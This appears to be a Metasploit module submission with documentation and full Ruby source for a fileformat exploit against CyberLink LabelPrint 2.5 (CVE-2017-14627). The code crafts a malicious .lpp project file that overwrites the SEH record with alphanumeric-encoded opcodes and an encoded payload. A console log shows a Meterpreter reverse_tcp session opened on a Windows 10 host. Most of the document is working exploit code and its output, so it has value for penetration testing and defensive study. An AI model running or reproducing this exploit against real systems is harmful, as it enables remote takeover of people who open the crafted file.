Land #11040, Add CyberLink LabelPrint Local BOF
Jacob Robles
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## Description
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This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
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The vulnerability is triggered when opening a .lpp project file containing overly long string characters
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via open file menu. This results in overwriting a structured exception handler record and take over the
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application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).
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## Vulnerable Application
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CyberLink LabelPrint v2.5, which is available with [Power2Go 12 Essential](https://www.cyberlink.com/downloads/trials/power2go-platinum/download_en_US.html)
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## Verification Steps
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1. `./msfconsole`
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2. `use exploit/multi/handler`
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3. `set payload windows/meterpreter/reverse_tcp`
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4. `set lhost <lhost>`
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5. `set exitonsession false`
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6. `exploit -j`
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7. `use windows/fileformat/cyberlink_lpp_bof`
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8. `set lhost <lhost>`
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9. `set target 2`
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10. `exploit`
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11. Copy file to Win10 host and open in vulnerable software
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12. Get a shell
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## Scenarios
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### Tested Windows 10 x64 running CyberLink LabelPrint v2.5
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```
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msf5 > use exploit/multi/handler
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msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
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payload => windows/meterpreter/reverse_tcp
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msf5 exploit(multi/handler) > set lhost 172.22.222.132
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lhost => 172.22.222.132
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msf5 exploit(multi/handler) > set exitonsession false
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exitonsession => false
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msf5 exploit(multi/handler) > exploit -j
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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msf5 exploit(multi/handler) >
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[*] Started reverse TCP handler on 172.22.222.132:4444
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use windows/fileformat/cyberlink_lpp_bof
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msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set lhost 172.22.222.132
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lhost => 172.22.222.132
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msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set target 2
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target => 2
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msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > exploit
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[*] Creating 'msf.lpp' file ...
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[+] msf.lpp stored at /home/msfdev/.msf4/local/msf.lpp
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msf5 exploit(windows/fileformat/cyberlink_lpp_bof) >
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[*] Sending stage (179779 bytes) to 172.22.222.200
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[*] Meterpreter session 1 opened (172.22.222.132:4444 -> 172.22.222.200:50522) at 2018-12-11 06:24:38 -0600
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sessions -i 1
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[*] Starting interaction with 1...
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meterpreter > sysinfo
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Computer : DESKTOP-IPOGIJR
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OS : Windows 10 (Build 17134).
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Architecture : x64
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x86/windows
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meterpreter > exit
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[*] Shutting down Meterpreter...
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[*] 172.22.222.200 - Meterpreter session 1 closed. Reason: User exit
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info={})
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super(update_info(info,
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'Name' => "CyberLink LabelPrint 2.5 Stack Buffer Overflow",
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'Description' => %q{
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This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
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The vulnerability is triggered when opening a .lpp project file containing overly long string characters
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via open file menu. This results in overwriting a structured exception handler record and take over the
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application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'modpr0be <tom@spentera.id>', # initial discovery and metasploit module
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'f3ci <marie@spentera.id>' # unicode kungfu
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],
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'References' =>
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[
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[ 'CVE', '2017-14627' ],
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[ 'EDB', '42777' ]
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],
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'DefaultOptions' =>
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{
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'FILENAME' => 'msf.lpp',
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'EXITFUNC' => 'seh',
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'DisablePayloadHandler' => 'true',
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'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['CyberLink LabelPrint <= 2.5 on Windows 7 (64 bit)',
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{
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'Ret' => "\x2c\x44",
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'Offset' => 790,
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'Padding1' => 857,
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'Padding2' => 104
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}
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],
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['CyberLink LabelPrint <= 2.5 on Windows 8.1 x64',
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{
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'Ret' => "\x2c\x44",
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'Offset' => 790,
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'Padding1' => 845,
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'Padding2' => 116
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}
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],
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['CyberLink LabelPrint <= 2.5 on Windows 10 x64 build 1803',
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{
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'Ret' => "\x2c\x44",
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'Offset' => 790,
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'Padding1' => 781,
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'Padding2' => 180
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}
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],
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],
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'Payload' =>
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{
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'Space' => 15000,
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'DisableNops' => true
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},
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'DisclosureDate' => 'Sep 23 2017',
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'DefaultTarget' => 0))
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end
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def get_payload(hunter)
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enc = framework.encoders.create('x86/unicode_mixed')
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enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
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hunter = enc.encode(hunter, nil, nil, platform)
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end
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def exploit
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nop = "\x42"
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junk = 'ABC'.split('').sample #junk must specifically static (A, B, and C only)
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buffer = ""
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buffer << junk * target['Offset']
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buffer << "\x61\x42" # nseh
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buffer << target['Ret'] # seh
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#we need to encode the RET address, since RET (\xc3) is known as bad char.
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#preparing address to land the decoded RET
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buffer << nop #nop/inc edx
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buffer << "\x54" #push esp
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buffer << nop #nop/inc edx
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x05\x1B\x01" #add eax 01001B00
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buffer << nop #nop/inc edx
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buffer << "\x2d\x01\x01" #sub eax 01001000
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buffer << nop #nop/inc edx
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buffer << "\x50" #push eax
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buffer << nop #nop/inc edx
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buffer << "\x5c" #pop esp
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#preparing RET opcode (c300c300)
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buffer << nop #nop/inc edx
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buffer << "\x25\x7e\x7e" #and eax,7e007e00
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buffer << nop #nop/inc edx
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buffer << "\x25\x01\x01" #and eax,01000100
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buffer << nop #nop/inc edx
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buffer << "\x35\x7f\x7f" #xor eax,7f007f00
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buffer << nop #nop/inc edx
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buffer << "\x05\x44\x44" #add eax,44004400
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buffer << nop #nop/inc edx
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buffer << "\x57" #push edi as padding, needed to align stack
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buffer << nop #nop/inc edx
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buffer << "\x50" #push eax
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buffer << junk * target['Padding1'] #OS specific
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#custom venetian to reach shellcode
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x05\x09\x01" #depending OS
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buffer << nop #nop/inc edx
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buffer << "\x2d\x01\x01" #add eax, 01000100, this will align eax to our buffer
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buffer << nop #nop/inc edx
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buffer << "\x50" #push eax
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buffer << nop #nop/inc edx
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#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp
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buffer << "\x5C" #pop esp
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buffer << nop #nop/inc edx
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x05\x53\x7c" #add eax 7c005300 part of call esp
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buffer << nop #nop/inc edx
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buffer << "\x50" #push eax
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buffer << junk * target['Padding2'] #OS specific
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buffer << "\x7b\x32" #part of call esp
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#preparing for jump to shellcode, placing in eax.
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buffer << junk * 114 #junk
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buffer << "\x57" #push edi
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buffer << nop #nop/inc edx
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buffer << "\x58" #pop eax
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buffer << nop #nop/inc edx
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buffer << "\x05\x0A\x01" #depending OS
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buffer << nop #nop/inc edx
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buffer << "\x2d\x01\x01" #sub eax,01000100
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buffer << nop #nop/inc edx
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buffer << get_payload(payload.encoded)
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buffer << junk * (payload.space-buffer.length) #fill the rest of buffer, must be added.
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lpp_data = <<-EOS
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<PROJECT version="1.0.00">
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<INFORMATION title="" author="" date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}">
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<TRACK name="#{buffer}" />
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</INFORMATION>
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</PROJECT>
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EOS
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(lpp_data)
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end
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end
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